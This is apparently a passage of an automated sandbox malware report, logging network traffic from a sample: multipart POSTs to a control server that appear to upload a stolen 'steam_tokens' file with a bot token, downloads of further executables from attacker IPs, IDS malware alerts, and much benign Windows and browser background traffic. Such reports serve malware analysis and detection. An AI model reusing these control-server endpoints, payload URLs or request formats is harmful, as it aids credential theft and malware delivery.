0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="message"files------CFBAKEHIEBKJJJJJKKKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 2d 2d 0d 0a Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="message"ybncbhylepme------AFIIIIJKFCAAECAKFIEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKKJDBFBKKJEBFHJEHJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 39 37 39 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B02979B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/6554834407/ZdGtikR.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49805 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49864 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50032 -> 31.41.244.11:80

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49755 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA8CC60 PR_Recv,

0_2_6CA8CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=02e2514c7fff4cd48b79cb42973cdf26&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619826&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619826&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: 2brk1iqH4EiC1FVl.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7dbfed328bef47389aa333772cfe252c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619826&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619826&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: 2brk1iqH4EiC1FVl.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u2l95FzsGhxtNeP&MD=G1WSnhkZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
